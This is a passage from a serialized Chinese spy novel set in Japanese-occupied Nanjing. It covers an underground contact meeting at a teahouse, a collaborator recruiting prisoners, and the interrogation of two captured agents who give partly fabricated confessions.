曲思冬呆立原地,目送着鬼子车队扬长而去,目送着他们在前方数百米处右拐进了老虎桥监狱。 他的心情久久不能平静。 所有的迹象表明,秦素芬身旁的那位“刘将军”就是她的丈夫刘云雄,而刘云雄已经和鬼子沆瀣一气了。 他身旁的那位叫做黑木的少将会是主宰抓捕妹妹和林赤的鬼子情报机关的头目吗? 他们此行老虎桥监狱的目的,乃是提审一对已经答应合作的青年男女,他们会是自己的妹妹思秋和林赤吗? 既然刘云雄叛变,作为嫁鸡随鸡嫁狗随狗的妻子秦素芬,她为何不当场举报自己?难不成她没有认出自己?或者她作为一名中国人,良心未泯,不想伤及无辜?亦或是她念及自己曾收留了她的这份情谊? 那位年轻的鬼子女少佐盘问自己时,秦素芬主动插话,是为了替自己解围吗? 曲思冬思虑纷乱,无法理出头绪。 他想起了自己的任务。 他扭头看了一眼红尘茶馆,拨开围观的群众,再次义无反顾地向红尘茶馆走去。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第188章 选拔人手 曲思冬前脚刚踏进茶馆,倚在门框上看热闹的伙计悄悄给他竖了个大拇指,马上亦步亦趋尾随着来到他选好的桌子旁,亲昵道:“先生真是胆识过人,居然在鬼子面前面不改色,应答自如!” 曲思冬苦笑一下,抬头说道:“当时情况紧急,如果我不出手,那位卖菜的老农一定凶多吉少……” 正说着,他看到伙计目光投向身后,毕恭毕敬喊道:“老板您来了!” 曲思冬忍不住好奇扭头看了一眼。 一位五十岁上下的老者慢步走到他身后,目光相遇,微微一笑道:“壮士的义勇行径我看到了,当时我就在人群中,老夫敬佩!” 看样子来者是红尘茶馆的毕老板,也是平安汽修厂李老板临终前嘱咐他前来接头的对象。 终于可以和组织建立联系了!为了这一天的到来,曲思冬他们日思夜想,真是踏破铁鞋无觅处、得来全不费工夫,曲思冬抑制不住内心的激动,不自觉地连忙起身,恨不得马上给他一个拥抱。 但他还需抑制住情绪,所有的一切只能按部就班。 “您是……”曲思冬揣着明白装糊涂。 “老夫姓毕,这家茶馆的掌柜。” “毕老板好!”曲思冬微微低头,“毕老板谬奖!” 毕老板站在曲思冬的桌前,操起桌上的茶壶,亲自替他把杯子斟满茶水。 “这年头,能明哲保身已成奢望,先生却自寻烦恼……”毕老板掏出一根烟递给曲思冬,“会抽烟吗?” 曲思冬接过香烟,对上毕老板送上的火,吸了一口,忽然压低声音道:“毕老板能否借一步说话?” 老板一愣,继而说道:“我这伙计跟我多年,也不是外人,先生但说无妨!” 曲思冬扫了一眼伙计,欲言又止。 毕老板明白了了什么,忙高声说道:“小童,你到门口看看。”说着把曲思冬引到了柜台后面的一间储物室。 一进储物室,曲思冬一把握住毕老板的手,竟有些语无伦次:“我是您老家二大爷的侄女婿的表弟,特地从湖北老家前来投靠您的……” 毕老板一怔,机械问道:“我二大爷的侄女婿过了这个年有三十七岁了吧?” “是的,我表哥的生日我都记得,他是农历的七月七日。” 说到此处,毕老板悬浮的手立即用上全力紧紧握住曲思冬的手,“原来你是我们自己同志!” “我叫曲思冬,来自茅山,受奚政委指派带队前来加强我党的武装力量!”曲思冬兴奋说道。 “太好了!太好了!”毕老板连连点头,“你们这一次来了多少人?” “第一批连我在内共八人,已全部潜入南京,都是经过战斗考验的且斗争经验丰富的游击队战士!目前都被安排在太平路上一家店铺里,随时听候组织调遣!” 毕老板听到这儿,忽然想起了某件事,问道:“你是怎么找到这儿的?”看到曲思冬的脸色顿时悲戚起来,毕老板心一沉,料定他最不愿看到的事发生了,手不停抖动,语气有些颤抖:“你快说,难道汽修厂真的出事啦?” “李老板死了……”曲思冬沉痛地说道,“不但如此,整个汽修厂就跑出一人,其余的都牺牲了!” 现场的气氛凝重起来,毕老板垂下眼皮,在原地打转,嘴里呐呐道:“难怪老李昨夜没有出现,按约定我们有个重要的会议,没想到镰刀同志的一句话一语成谶!” “我们几人一起把老李同志埋了,就葬在水西门西南一条河边的田里,储洪义同志还在他的坟前插了一根柳条!” “逝者如斯夫!他这是为了革命,也算是死得其所!有机会我一定去看看他。” 两人都开始沉默,好半天,毕老板才发话,“你说说,到底怎么回事?” “昨晚我和另两位同志前往平安汽修厂接头,即将抵达时听到了密集的枪声,我们从巷子里穿插过去,发现汽修厂已经被日本人包围,我们的同志正在顽强地和鬼子进行枪战……再后来,老李和其他两位同志突围出来,我们马上接应,可当我背着老李甩开敌人时,老李已经不行了,临终前把你处的联络方法告诉了我们……” “那位突围出来的同志呢?” “他还是个没成年的大男孩,叫白进,我把他带出来了,和我的队伍安顿在一起。” “哦,我知道了,他能逃出也算是不幸中的大幸。” “老毕同志,接下来怎么安排?” 毕老板思忖片刻,徐徐说道:“我这就想办法安排你和镰刀同志见面,以后,你们所有的行动都由镰刀同志统一指挥!”顿了顿,毕老板又补充了一句:“他是我党南京城的最高负责人。” “这一天总算盼到了!”曲思冬长吁一口气,“我还有几件事想立即向他汇报,而且刻不容缓!” …… 老虎桥监狱的典狱长武内次郎对刘云雄并不陌生,只是有些不习惯他的华丽转身。数天前,刘云雄还是他的犯人,生活起居全部制约于他监狱的管理条例,而今天,刘云雄的出现,不但被冠以南京警卫军司令的头衔,而且还携带着方面军最高司令部的电令,电令内容是让他无条件配合这位刘司令对监狱在押犯人进行初步甄别,以确定下一步的具体计划。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!这也是今天刘云雄随同黑木将军来到他监狱的主要目的。 这样的角色转换多多少少让武内心生沮丧,但明面上还得显得十分欢愉。 更让武内懊恼的是,随行的黑木将军已把他视为座上宾,一见面,便要求自己全程陪同,确保他此行圆满达成目的。当然,松机关的黑木一行有他们自己的事情要做,他们无非就是顺路陪同刘云雄前往。 尤其让武内气愤的是,刘云雄居然携夫人秦素芬同来,可气的是,曾经也是他的犯人的秦素芬见了自己,不但毫无羞耻感,还对他颐指气使。 武内让副典狱长陈炳松陪同黑木一行去干他们该干的事,自己强忍着不快跟在刘云雄身后。 他们穿过一道长长的走廊,来到南楼的普通监区。 喧嚣声铺天盖地袭来,一道袭来的,还有一股难闻的气味。 秦素芬捂着鼻子,不由皱起了眉头。 武内从刘云雄身后快步上前挡住了他,问道:“刘司令准备如何进行?” “能让我进监室和他们谈谈吗?” 武内看了看身后仅有的数名持枪的士兵,大摇其头:“这恐怕不行,普通监区关押的都是一些暴徒,他们非匪即兵,万一有人起异心,一旦发生暴乱,以我们这一点武装是制止不了的,事态如果恶化,我是无法交待的!” 刘云雄理解他的处境,并未强求,只是淡淡道:“那我只能用自己的办法选拔人手!” 说着,第一间监室到了,这是一间接近一百平米的大通间,六排上下两层的通铺把监室塞得满满当当,收押了将近一百名形形色色的犯人,几乎八成以上的犯人都窝在床铺上,还有小部分犯人聚集在一起打纸牌,一见有人来访,嘈杂声立即沉淀下来,所有的目光都盯着刘云雄一行,有犯人看到了秦素芬,开始不怀好意吹起了口哨,接着有人发出起哄声,声浪越来越恢弘,居然经久不退。 这间监室靠近走廊的一面并没有墙,全部用拇指粗的铁条焊接而成铁笼状,里面的情景一览无遗。面对犯人恶意的起哄,刘云雄面无表情,不紧不慢靠近铁栏杆,回头对武内道:“武内上尉,把你的佩枪借我一用。” 武内次郎迟疑了俄顷,想了想还是解下南部手枪递给了刘云雄。 喧嚣声有些减轻,但并未消逝。 刘云雄娴熟地检查了一下枪支,打开保险,一抬手朝天放了一枪。 “砰!”枪声尖锐刺耳,震得在场所有人耳鼓嗡嗡作响。 偌大的监室突然一片沉寂,所有的目光惊恐地盯着刘云雄。 “诸位——好好听着——”刘云雄垂下握枪的右手,“我叫刘云雄,原国军260旅旅长——所有人听我口令——凡是军人的请立即到我面前集合!” 他的声音中气很足,响彻整个监室。 所有军人身份的犯人开始面面相觑,心里不断犯嘀咕,不知该不该站出来。 “从现在始,我倒数十个数——10——9——”刘云雄目光如炬,神情威严而庄重,语气中竟带有不容拒绝的凛然之气。他只是数到9,监室明显骚动起来,不少犯人开始从床上跳下来,犹犹豫豫地朝着他的方向靠拢。 当他数到“8”时,已有犯人开始跑步前进。 “7——6——5——4——3——”刘云雄继续发号施令,他十个数还没数完,在监室靠近走廊的狭长空地上,已整齐划一站满了犯人。 “2——1!”再无犯人增加,刘云雄满意地扫视了一眼站成两排的队列,大声说道:“很好,我现在开始登记,如果大家相信我,愿意跟着我走,请报出你们的真实姓名和原部队番号及职务,我以南京警卫军司令的名义保证不加追究!” …… 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第189章 正式审讯 黑木一行再次前往老虎桥监狱的目的,是对林赤和曲思秋二人进行最终正式的审讯。 既然田地里的庄稼已经成熟,错过了收获的季节或许会蒙受不必要的损失,此时的黑木多多少少像是一个面朝黄土背朝天的老农,迫切想把地里的谷粒收割上来,脱粒晒干入仓,这才是最保险的。于他而言最艰难的斗争已经画上句号,数天来他只专心做一件事,那就是让对方屈服!如今苦尽甘来,林曲二犯终于答应合作,他便可以直言不讳、开门见山让他们倒出藏在他们心中的秘密了。 千金难买你情我愿!这一天对他来说,虽然有些迟,但还算没有辜负他的热望。 尽管林赤态度的转变,得益于曲思秋的偶然抓获,然而这一点却恰恰是黑木最感羞耻的,细思整个刑讯过程,如若没有曲犯的到案,林犯恐怕不知要顽抗到何时,想想他堂堂的一个松机关的少将机关长,却不得不采用要挟的下三滥手段逼其就范,黑木恨不得拿脑袋去撞墙。 当然,这样的耻辱黑木不会挂怀太久,他的内心被一种新的担忧充斥。 信誓旦旦答应如实招来的林赤到底会说出什么样的惊天秘密?他会不会有所保留?所招供的情报到底价值几何? 曲思秋真的只是一名普通的发报员吗?她所执行的任务果真如她所言仅仅是为了让林赤的组织对他展开营救?她只是一名“未启用”的发报员?她的上线会是池碧疆吗? 这些疑问一个接着一个,走马灯般在黑木的脑际缠绕,剪不断理还乱。 已无需客套,亦不用再顾及他们的感受,黑木甚至懒得去安抚犯人,一踏进老虎桥监狱这方热土,他便着手安排对他们二人的审讯。 林赤和曲思秋的审讯同时进行。 主审官和书记员都已确定,审讯大纲也在一大早由黑木和渡边以及川上三人一道商定。 第二第三审讯室平素少见同时开放,听到走廊上的铁链声接踵响起,黑木知道犯人已经带到,黑木并未马上从紧挨这两间审讯室旁的休息室走出,而是足足等了两分钟,才不慌不忙地踱步而出。 他先是来到第二审讯室,透过单反玻璃,他看到林赤端坐在桌前,他把带着手铐的双手搁在桌子上,头颅轻扬,眼神平静,在他的对面,书记员旁边的渡边雪奈一脸微笑,饶有兴趣地盯着林赤。 黑木于是赶紧走到第三审讯室,对曲思秋的审讯也没有进行,主审官川上麻衣中佐正在临时抱佛脚快速地默记桌上笔记本上的审讯大纲,作审讯前的必要准备。 和林赤表现迥异的是,曲思秋一直耷拉着脑袋,不断摆弄手上的铁铐。 黑木又返回到相邻的审讯室。 这间审讯室已发生微妙的变化,林赤终究被渡边盯得败下阵来,竟然不敢再看她。渡边高傲地昂着头,以胜利者的姿态瞟了他一眼,轻轻咳嗽一声,意在唤起林赤的注意。 然后,渡边少佐说话了:“对面的,抬起头来!” 对林赤的审讯率先开始,书记员探身按下了桌上的录音设备,并抬笔开始做记录状。 …… “姓名?” “林赤。” “有没有曾用名?” “有,林昂。” “年龄?” “民国二年生人。” “别跟我提民国,直接告诉我年龄!” “25周岁。” “哪里人?” “上海人。” “具体住址?” “江湾镇长江路72号。” “说说父母的情况。” “死了……” “详细点!” “……他们都是同济大学的老师,一次返家的路上被日本人的飞机炸死了……” “……咳咳……我很遗憾……何时参加国军?” “民国25年。” “部队番号?” “南京中央军官学校教导总队一旅一营三连。” “职务?” “上尉连长。” “放屁,入伍两年不到就混了个连长,你当国军是你家开的?” “我有背景!” “说!” “……” “怎么不说了?快说!” 林赤终于皱了皱眉,对渡边翻了个白眼道:“渡边小姐,你能不能别逐一问我问题?还是让我把我知道的一口气说完,可以吗?” “不行!这是审讯流程!”渡边断然否决,不过马上又改口道:“你先说来听听!” “我有个大哥很厉害的,是国军88师262旅的少将旅长,大名朱赤,参加过第一次淞沪会战,歼敌无数,此役后立即晋升了旅长,而正是此人收养了举目无亲的我,并送我前往法国里昂炮兵大学深造,在炮兵大学的四年,我成绩佼佼,回国后又进入陆军军官学校特训班,同样成为该校同一期学员中的翘楚,你说,我这么年轻有为,该不该封个上尉当当?” 渡边已领教过林赤的身手,知道他所言不虚,便不再纠缠这个问题。 “既然混迹于作战部队,那你倒说说怎么会加入军统的?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“人才嘛,总是被人格外关注的……” “严肃点!” “这些年来,军统……当然它的前身叫复兴社……军统这些年一直和部队争抢人才,我的所有自身条件都是符合军统的要求,自然他们就三番五次做我的思想工作,极力拉拢我,其实我的本意是不屑于干这些偷偷摸摸的事情,哪如真刀真枪来得爽快,你说呢渡边小姐?” “请叫我渡边少佐!”渡边雪奈瞪了林赤一眼。 “是渡边少佐!” “林上尉,说说你是哪一年加入军统的。” “民国25年,进军校不久,军统就派人三顾茅庐。” “帝国的军队攻克南京时,你在哪里?” “我部布防于中山门外的城廓阵地,我奉命率部阻敌!” “你是通过哪条线和你的组织取得联系的?” “实话说吧,我和我的组织已经失去了联系,我甚至不知道南京城还有军统的指挥体系存在,是他们用特定的方式召唤并启用了我。” “什么方式?” “一张寻人启事。” “咦,那一定是一张不寻常的寻人启事喽!” 林赤有些洋洋得意,“这张寻人启事也只有我能看懂!” …… 单反玻璃后面的黑木一直专注于林赤的供词,整个过程他侧耳聆听,并努力推敲他话中真伪,至少到目前为止,黑木还没有发现他有什么不配合之处,言语还算诚恳,态度也很端正,更不似在有意隐瞒着什么。只是渡边的审讯方式太过古板,这么长时间下来,尚还未进入实质性的主题,而渡边依旧在有条不紊地徐徐展开,她显然对林赤的一切充满了好奇,这不,就连一张寻人启事她也非得要林赤一字不差地书写下来。 短时间内,渡边应该不会涉及到重要的核心部分。 黑木想起隔壁川上中佐对曲思秋正在进行的审讯,赶紧利用林赤默写寻人启事的空档去一探究竟。 和渡边不同的是,川上的审讯干净利落,已经触及到核心部分,并开始剥茧抽丝。 “你真正的身份是什么?” “中国共产党。” “你是哪一年加入共党的?” “1935年。” “据我所知,加入共产党必须要有入党介绍人,你的入党介绍人是谁?” “陆大同。” “他是男是女?年龄?身份?” “男,当年五十多岁,是我们学校的一名老教授,专门负责教授我们班的临床医学。”曲思秋在交待的时候显得极其平静,说话时不紧不慢,完全是有备而来,她把她的入党介绍人由池碧疆改为了陆大同。当然这个名字确有其人,只是这位年过半百的老教授在两年前就因一场意外病故了。所以,曲思秋捏造这样的谎言也是经过深思熟虑的,根本就不怕敌人暗查,再说,她就读的金陵大学如今已经整体迁至大西南,敌人如果真心想查,恐怕一时半会也未必查出个所以然来。 “你的上线是谁?” “当然是陆大同了。” “他是如何给你发布指示?” “我曾经说过,我只是一名未启用的发报员,我们党在南京城很久都没有一部电台,最近也不知从哪里弄了一台,还让我给糟蹋了!”说到这儿,曲思秋一脸愧疚,事实情况的确如此,林赤费尽千辛万苦从上海带回了一部电台,没用几次就拱手让鬼子没收了。 “我如何信你?” “爱信不信!”曲思秋撇了撇嘴,“我们党只是一只小蚂蚁,和你们正面作战那是国军的事,我们整个组织一直闲赋,无实事可干,更别提我这样一位小人物了!”曲思秋开始健谈起来,她忽然觉得撒谎竟也是一件特有趣的事,实质上是双方智慧的较量,她曲思秋居然天生禀赋,怪不得林赤对她这方面的能力信心满满。 “难不成你加入组织至今,你一件实事也未做?唯一的一件还是为了救你的前男友?和你的组织没有丝毫瓜葛?”川上表示严重不信。 “……也不是啦……是有这么一件……”曲思秋吞吞吐吐说道。 “从实说来,越详细越好!” “我们组织曾经交待给我一件任务……这个任务和林赤有关!”曲思秋下定决心欲把前些日子委托林赤携带一筒胶卷前往上海的事说出来。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第190章 审讯进行时 “林赤参与了一项我们组织的任务……”曲思秋声音很低。 这样的决心曲思秋下得有些艰难,但做这样的决定,曲思秋也是经过了充分的考量。 昨天临别林赤,他忽然在黑木面前叫住了她,莫名其妙和她说了一段话,话中内容竟然涉及到那一次上海之行用于接头的“相见恨晚”咖啡馆,当时她十分诧异,不知他当着黑木说出这个地点的用意何在。 就她对林赤的了解,曲思秋推断他一定另有深意。 回到监房,曲思秋一直在想这个问题。 林赤的使命仅仅是鼓励她和日本人合作,按常理,他是无需暴露此处接头点,这只能增加他的“罪过”,他的刻意为之似乎只剩下一种解释,那就是希望曲思秋在编造“谎言”时,能够将这样的情节加进去。 细心的林赤或许想得更远,当下他最为担忧的恐怕就是她所招供的内容中没有干货,从而不能够取信于黑木,林赤分明替曲思秋想好了,他一定是在提醒她以此为核心做足文章,编造一个完整的谎言,既能印证她的共党身份,又伤及不了他人(接头地在上海,黑木也许鞭长莫及)…… “大声点!”川上麻衣高声喝斥,顺便递给书记官一个眼神,意思是干货来了,他必须用心记录。 曲思秋想了想道:“前些日子,我们组织交待给我一项任务,设法让我以应天教会医院医生的身份潜往上海,在马斯南路找到一家名为相见恨晚的咖啡馆,和当地的地下党取得联系,并把一筒胶卷交给他们。接到任务后我犯了愁,上海我没有去过,加上当时南京刚刚沦陷,所有的出城交通都受到了严格管制,尤其是铁路交通,一张小小的火车票都很难获得……正彷徨的时候,我获知林赤正要去上海采购一批照相器材,便把想法告诉了他,希望她能帮我完成任务,他毫不犹豫答应了……” “胶卷里面的内容是什么?”川上厉声问道。 “我不知道,组织上也没有说,只是强调胶卷很重要,我尽管好奇,可不便探听。” “你说的前些日子,具体指哪一天?” 曲思秋凝眉思索了好一会儿,答道:“具体时间我记不清了,反正是去年年底……大概在12月23、24号的样子,时间太久,我真的想不起来了……” “你让林赤给你捎带任务,你当时知道他的身份吗?” “不知道……我当时没有想得太多,只知道他有办法前往上海,这是我做不到的……况且,我们的任务很简单,仅仅是捎带一筒体积很小又便于隐藏的胶卷,这项任务并不难!” “你是在哪儿和他交接任务的!” “当时他寄住在陶府——就是陶天阙的府邸,当我获知他不日后会前往上海,我经过整整一天的思考,终于下定决心去找他,见到他之后,我说出了想法,他当场答应了!” “当时他知道你的身份吗?” “不知道,我没说,他也没问,再说,他甚至连托付胶卷的对方身份也一无所知。” “那你知道他的身份吗?” “不知道。” “那你何时知道他的军统身份的?” “在南京国际安全区我原先所服务的医院里,那一次他执行任务,任务成功后他交给我一本密码本让我保管,由此我便有了判断,但他的真实身份一直没有亲口告诉我,我也装作不知道。” “对了,你说说是怎么和他相识的!” “他不久前受伤了,在应天教会医院寻医,我是他的医生,由此我们开始了交往!” “你撒谎!”川上勃然怒道:“你这是在忽悠三岁小孩呢!你们刚认识,他就把那么重要的密码本交给你保管?你知道一本密码本意味着什么吗?他林赤作为军统南京站的副站长,会有那么天真?不,会有那么傻?!” “他当然不傻,他这是信任我,在他眼里,我只是一个和外界无争且充满正义感的女孩!” “胡扯!他怎么可能如此轻信他人?你别忘了你只是一名他的主治医生!” “……他喜欢我。”曲思秋嗫嚅着,红着脸低下了头。 “他是不是没见过女人?”川上带着嘲弄的口气,打量着一眼曲思秋脸上的纱布,换了一种奚落的语气道:“我看你也并无过人之处,难道你有什么魔力让他一下子着了魔?” “我们属于一见钟情!”曲思秋突然浅笑起来,“我们第一次见面并不在医院,而是在你们‘亡灵祭’的现场,最初在仪式上,一个年轻的中国人触犯了你们,你们要用他的性命祭祀亡灵,当时他就看不下去了,我看他掏口袋,就知道他要拔枪,被我生生阻止,后来散场时,一位小姑娘吓得啼哭,又惹怒了你们的士兵,你们的士兵不分青红皂白挥起枪托就砸,是他用身体挡住并保护了一老一少,我发现他伤得厉害,就把他带到医院,并给予他治疗……我承认当时我就喜欢上他了,我想通过那次,他也一定喜欢上我!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“这就是你认为的一见钟情?钟情到可以把自己组织的核心机密相托付?” “没错!”曲思秋毅然道,“长官,你有过一见钟情吗?如果你有,我相信你会体会到我们彼此的心境!” “八嘎!”川上歇斯底里起来,“你这是在胡说八道!”川上麻衣中佐恶狠狠地瞪着曲思秋,嘴唇哆嗦着,她无意所说的一句话顿时勾起了他无限伤痛。谁没有一见钟情?他川上就有,可惜他一见钟情的女人最终嫁给了一个比他身份高贵得多得贵族,他唯一能做的,只能是黯然离去。 看到主审官痛苦的神情,曲思秋猜想她一定触痛了他的内心,马上装作同情的样子又道:“人的这辈子其实很短暂,如果不能为钟情的人做点什么,那活着还有什么趣味?” 川上回过神来,抓起杯子喝了一大口水,暂且把痛苦的往事抛到一边。 “请你继续!” “……也就是利用那次私藏的机会,我私下复制了他们军统密码的副本。” “哦?还有这么回事?” “这件事我已经向你们的黑木先生交待了……” “你复制密码本用意何在?” “我没有想那么多,最初的想法是怕万一丢失,我还有备份……” 川上迫不及待打断了曲思秋道:“这恐怕不是你的真实想法吧,你一定是受到某人的授意,你是为了你们共产党窃取对手的秘密?” “这个决定是我一个人下的,没有人知道这件事。” “他是什么时候要回密码本的?” “那次事发后,他一直没有要回密码本,直到几天后他出去了一趟,回来后就要我还回他的密码本。” 川上侧头扫了一眼书记官的审讯记录,又问:“我们再回过头来,那次林赤的上海之行,你让他如何联络上海的你党组织?” “在《申报》上刊登一则启事,第二天携带一份报纸前去相见恨晚咖啡馆,把报纸平铺在桌子上,自然有人主动联系他。” “启事内容?……这有一张纸,你把它写出来!”川上从桌子上推给曲思秋一张空白纸和一支笔。 曲思秋没有马上动笔,辩道:“是一则喜报,内容我记不全了,只能记个大概意思。” “想起什么写什么!” 黑木乘曲思秋写字之际又快步走到第二审讯室门外。 对林赤的审讯依旧在进行。 “……是什么原因让你把你们军统的密码本交给一个并不深入了解的女孩保管?” “我把密码本交给她保管,最大的原因是不得已而为之!” “此话怎讲?” “当时我并没有第二条路可选择,要不把密码本藏在身上,要不把密码本藏在医院的某个角落,医院我不熟,只能找一个相对熟悉的人帮我藏起来。我是个聪明人,是个聪明人都会选第二条路,如果我把密码本随身携带,在当时情形下万一被你们的人搜身,马上就会暴露!” “当时什么情形?” “应天教会医院离案发地最近,到处布有你们的士兵,严格限制所有人进出,士兵开始逐层搜查一切可疑人物,你说我还有的选择吗?” “所以你就选中了曲思秋?” “除了曲医生,应天教会医院我还认识谁?” “你就那么信任她?” “我别无选择,就赌了一把。” “你的运气不错,你赌赢了!” “不,我赌输了!” “我看不出你输在哪里,不但保住了密码本,还收获了女人的芳心!……那位曲医生是不是特别仰慕你?” “她仰不仰慕我不知道,我只知道她背叛了我,她竟然偷着重新誊写了一本密码本,我想如今的共党组织,正利用我们的密码窃取我们的一切机密!我们军统对共党组织,已无任何秘密可言!” 渡边幸灾乐祸笑了起来,“女人嘛……呵呵,总是意想不到的精明,她们的美色可以掩盖所有的真相,你如此笨拙,是永远战胜不了女人的!”说到得意处,渡边眉飞色舞起来,“如果你今后的路还很长,希望你吃一堑长一智,千万不要被女人蛊惑了,尤其是漂亮的女人!” “谢谢渡边少佐的提醒,我林赤谨记。” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第191章 口供 自始至终,渡边不时面露笑靥,神情完全不似在审讯一个犯人,而是面对一个昔日旧友,尤其当林赤提及密码本被对方偷偷复制后,她竟然呵呵轻笑起来,显得异常的欢愉,但这欢愉也只是昙花一现,转而一副语重心长的样子,仿佛是在用过来人的口气警告他千万要擦亮眼睛,不要被女人善良的表象迷惑,尤其是漂亮的女人。 她的态度使得林赤不再拘谨。 林赤不知不觉把身子斜靠在椅子上,如果不是负有脚镣,他恨不得翘起二郎腿。 这一通说教,林赤既诚恳又谦恭,渡边受用无穷,忽然就风轻云淡起来,干脆挺直胸脯,双手抱在胸前 ,开始和林赤侃侃而谈。 “你的直接上司叫什么?” “锤子,这是他的代号。” “你说说他的具体身份,比如年龄、姓名什么的。” “先说年龄,此人大约四十五六岁,至于姓名我并不知道,他的背景更无从所知,我们有纪律,不可以互问对方情况,更不可以主动透露!正如他只知道我的代号新年,并不知晓我的来历一样!但此人性格沉稳、行事缜密,骨子里透着一股刚毅,我猜他一定是行伍出身。” “这样,我满足你的请求,不再逐一向你提问,请你系统地说说你的情况。” 林赤一怔,把身体从椅背上前移,试探问道:“尽可能详细吗?” “当然!” 林赤略微思索了片刻,整理了一下思路,开始倒出他心中所想表达的一切。 “我由一个懵懂的少年成长为一个优秀的国军上尉,完全靠我大哥朱赤的帮助,他在我父母被炸死后,看我一人在马路上哭泣,就毅然收养了我。第一次淞沪会战结束后,他把我带回了南京,并倾其所有、动用了一切关系把我送到法国里昂炮兵大学,四年后,也就是1936年年初,我从炮兵大学学成归来,回到南京加入了中央陆军军官学校特训班继续深造,这个特训班是专门为基层军官量身打造的。一年后南京保卫战爆发,我们没毕业就被编入了军官学校教导总队,我被任命为一旅三营三连连长,随一旅全部驻防中山门外廓阵地阻击日军,战斗随即打响并持续了数天,我们一旅除了少数人收缩到城内并撤退外,其余大部分全部阵亡。这次战斗,我有幸存活,完全得益于我的机灵,在战斗临近尾声,我看局势不可逆转,便随着突围的队伍撤回了城内,不幸的是,在撤退的时候,我被一颗流弹击中……” 渡边听到此处,忍不住打断道:“我注意到你的左胸上有一处新愈合的疤痕,从形态上看不像是旧伤,难道……” “对,就是那次枪伤,好在子弹没有击中要害,离心脏还有几公分,伤口也不深,我回到城后,找了一个无人的地方,剔除了子弹并包扎了伤口,然后随着溃兵向下关方向涌进,原先想跟随溃退大军从下关码头上船,可是在挹江门被宪兵拦截,断了我们的去路,不得已再次返回南京城里,最后逃到了南京国际安全区……” “后来呢?”渡边急切问道。 “这时候整个南京城已被你们占领,当时的整个南京城已陷入人间地狱,日军在到处抓人,并对一切疑似士兵模样的青壮年男子进行行刑式屠杀,不得已我换了衣服混在难民队伍中……后来我看到日军在安全区疯狂杀人,我东躲西藏,无意看到一名国军军官在逃跑时被枪杀,当时他就倒在我身前不远处,我看到他手里有一支勃朗宁手枪,就乘人不备取了他的手枪并躲了起来……再后来,我一次偶然的机会看到了安全区西门上张贴的一张寻人启事,启事内容正是我前面所写的,我便知道了组织在召唤我,当夜便找到了月息路二十一号,果然在这里我见到了军统的留守人员——锤子和两名报务员……” 渡边把自己面前的一杯水递给林赤,示意他喝口水,嘴里问道:“军统迫切找你,一定有什么重大任务吧?” “有,让我担负组建军统南京站的重任……我和锤子联系上后,才发现他其实是个光杆司令,手下已无兵可用。我接到的第一个任务就是收拢南京城里的散兵游勇,迅速组建行动队!接着锤子给了我第二个任务,让我潜回安全区,找到一家‘便民烟卷店’,设法和店里的老板接头,取回密码本。我权衡了一下,觉得当务之急是获取密码本和重庆方面建立联系,于是我再次回到了安全区……” 林赤终于喝了口水,接着道:“回到安全区,碰巧遇上你们的‘亡灵祭’,就是这次仪式现场,我邂逅了曲思秋,起初我们并未注意到对方,直到一名日本士兵因由一名小女孩的哭叫而恼羞成怒,当他准备砸打呵护小女孩的奶奶时,我用奋力护住了她们,就这样我遭到了那名士兵的没头没脑的暴打,浑身是血,最后是她把我扶到她们医院,并给我处理伤口……” “这一次见面,你就喜欢上了她?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我承认这次谋面后,我不但对她心存感激,而且还产生了好感。” “林先生请继续。” “在医院疗伤期间,曲思秋把我安排在她一个男同事的宿舍里,他叫李毅。一天早晨起床,我站在窗前无意发现西南角的美国大使馆北侧有一家小店,这家小店就是我要前往接头的便民烟卷店,我心中暗喜,在对它进行了细致的观察后,立即下楼前往烟卷店。我冒充一个购烟的顾客来到店前的柜台,却突然发现墙上的黑漆板上已经张贴了一张‘二舅父病重,急需一剂拔疴处方’的告示,心中一惊,大觉不妙,因为按约定这张告示必须是我和店老板接上头后他才可以张贴的,这张告示本意是激活‘二舅父’——密码本的持有者,可事实上我被绕过去了,那一刻我便知,这家店出问题了……我利用买烟和老板闲聊的时机,得出了老板已经受伤叛敌的结论,并进一步推断店内埋伏有敌人,就毫不犹豫地偷偷撕掉告示上的‘二舅父’字样,以阻止‘二舅父’的出现。” 渡边仿佛在谛听一个有趣的故事,听得津津有味。 “我急需得到锤子的帮忙,当下就潜回了月息路,让他给我增派人手,他很为难,称无人可派,后来禁不住我一再请求,答应安排两人,其中一名狙击手按我制定好的计划埋伏在医院宿舍楼上天台待命,另一名和我一道配合行动……” “我带着一名帮手潜伏在医院一楼,暗中观察烟卷店,等待着‘二舅父’的出现……” “我万万没有想到,这名持有密码本的‘二舅父’,居然就是李毅。他在午后时刻出现在烟卷店,或许是在他透露了自己的身份后,马上遭到了埋伏在店内的你方人员的抓捕,他拼命挣脱,可收效甚微!我和另一名队员见状即刻冲出医院,想拯救李毅,可遇到了你们的狙击手,最终失败!” “李毅死后,我迅速脱离现场快速跑回宿舍,果然在他的床底下发现了密码本……这时候整个医院已经被你们的人围得水泄不通……情急之下我把藏在身上的密码本交给了曲医生,让她给我藏起来……再后来发生的事,渡边少佐大概也知道一些……” 渡边立即接口道:“那天晚上我打你其实并没有冤枉你?” “我承认,我身上的嫌疑不少。” “如果不是黑木将军刚刚接手松机关,如果不是陶天阙在场,黑木宽容仁厚,你一定被我揪出来了!当时我的第一感觉就是你必定涉案!” “渡边少佐不愧天生是干特工的料!” “你这是在挖苦我?最终结果还不是让你逃脱了?又为非作歹了很长一段时间……” “我倒没有刻意恭维渡边少佐,难道不是你第二天又派李泉假冒‘锤子’,提着一篮水果来看我?难道不是渡边少佐一直安排人手偷偷监视我?” “这可不是我的主意,这可是原宪兵特高课川上君的主意,现在想来,这应该是最大的败笔,如果是我断不会如此性急!”渡边顿了顿,似乎在撇清她的愚蠢,“李泉桑是他策反的,他迫切想用这颗棋子给他建功立业,川上君还是没沉住气。” “关键是李泉不是一个好演员。” “这么说林先生的演技更出色?” “和李泉相比,最大的优点是我比他更沉稳。” “你离开医院后,拿回密码本了吗?” “我的伤还没完全好,就带着密码本离开了医院,因为锤子迫切需要我手中的密码本和重庆方面建立联系。” 